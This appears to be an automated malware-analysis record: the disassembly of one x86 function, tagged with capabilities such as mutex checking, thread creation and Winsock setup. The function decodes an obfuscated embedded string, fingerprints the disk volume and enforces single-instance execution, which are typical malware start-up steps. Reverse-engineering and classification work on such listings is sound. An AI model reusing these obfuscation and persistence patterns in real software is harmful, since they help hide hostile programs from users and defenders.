Function at 0x100039b0
Capabilities:
Check mutex on windows
Create thread
Get common file path
Get disk information
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x348
mov dword [ebp - 8], 0
lea eax, [ebp - 0x14c]
mov dword [esp], 0x104
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_GetTempPathA]
sub esp, 8
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0
jbe 0x10003a7f
mov byte [ebp - 0x149], 0
lea ecx, [ebp - 0x14c]
xor eax, eax
lea eax, [ebp - 0x168]
mov dword [esp], ecx
mov dword [esp + 4], 0
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x1c], 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
sub esp, 0x20
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0
je 0x10003a66
mov eax, dword [ebp - 0x168]
mov dword [ebp - 0x328], eax
jmp 0x10003a73
xor eax, eax
mov dword [ebp - 0x328], eax
jmp 0x10003a73
mov eax, dword [ebp - 0x328]
mov dword [ebp - 0x150], eax
mov eax, dword [ebp - 0x150]
lea ecx, [ebp - 0x164]
mov dword [esp], ecx
mov dword [esp + 4], eax
call fcn.10001cc0
lea ecx, [ebp - 0x311]
lea eax, [0x10012230]
mov dword [esp], ecx
mov dword [esp + 4], eax
mov dword [esp + 8], 0x15
call fcn.10004a50
mov dword [ebp - 0x318], 0
mov dword [ebp - 0x31c], 0
cmp dword [ebp - 0x318], 0x15
jae 0x10003ba4
mov eax, dword [ebp - 0x318]
movzx eax, byte [ebp + eax - 0x311]
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
shl eax, 2
mov ecx, dword [ebp - 0x31c]
and ecx, 0xff
shr ecx, 6
or eax, ecx
and eax, 0xff
mov dword [ebp - 0x31c], eax
mov ecx, dword [ebp - 0x318]
mov eax, dword [ebp - 0x31c]
sub eax, ecx
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
sub eax, 0xee
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
xor eax, 0x3d
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
shl eax, 2
mov ecx, dword [ebp - 0x31c]
and ecx, 0xff
shr ecx, 6
or eax, ecx
and eax, 0xff
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
xor eax, 0xc1
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
mov cl, al
mov eax, dword [ebp - 0x318]
mov byte [ebp + eax - 0x311], cl
mov eax, dword [ebp - 0x318]
add eax, 1
mov dword [ebp - 0x318], eax
jmp 0x10003acb
mov word [0x10019950], 0x31e
lea eax, [ebp - 0x311]
lea ecx, [0x10019998]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
sub esp, 8
lea eax, [ebp - 0x311]
lea ecx, [0x10019958]
mov dword [esp], ecx
mov dword [esp + 4], eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
sub esp, 8
lea eax, [ebp - 0x2f8]
mov dword [esp], 0x202
mov dword [esp + 4], eax
call dword [sym.imp.WS2_32.dll_WSAStartup]
sub esp, 8
mov dword [0x10019954], 1
lea eax, [ebp - 0x164]
lea edx, [ebp - 0x48]
lea ecx, str.Global_s
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
call dword [sym.imp.USER32.dll_wsprintfA]
lea eax, [ebp - 0x48]
xor ecx, ecx
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
call dword [sym.imp.KERNEL32.dll_CreateMutexA]
sub esp, 0xc
mov dword [ebp - 0x320], eax
xor eax, eax
cmp eax, dword [ebp - 0x320]
je 0x10003d22
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov ecx, eax
mov eax, 0xb7
cmp eax, ecx
jne 0x10003c8f
mov eax, dword [ebp - 0x320]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 0x320], 0
xor eax, eax
cmp eax, dword [ebp - 0x320]
je 0x10003d1d
xor eax, eax
lea eax, [0x10003330]
mov dword [esp], 0
mov dword [esp + 4], 0
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0x14], 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
sub esp, 0x18
mov dword [ebp - 0x324], eax
xor eax, eax
cmp eax, dword [ebp - 0x324]
je 0x10003d0b
mov eax, dword [ebp - 0x324]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
mov dword [ebp - 4], 1
jmp 0x10003d28
mov eax, dword [ebp - 0x320]
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 4
jmp 0x10003d22
mov eax, dword [ebp - 8]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
add esp, 0x348
pop ebp
ret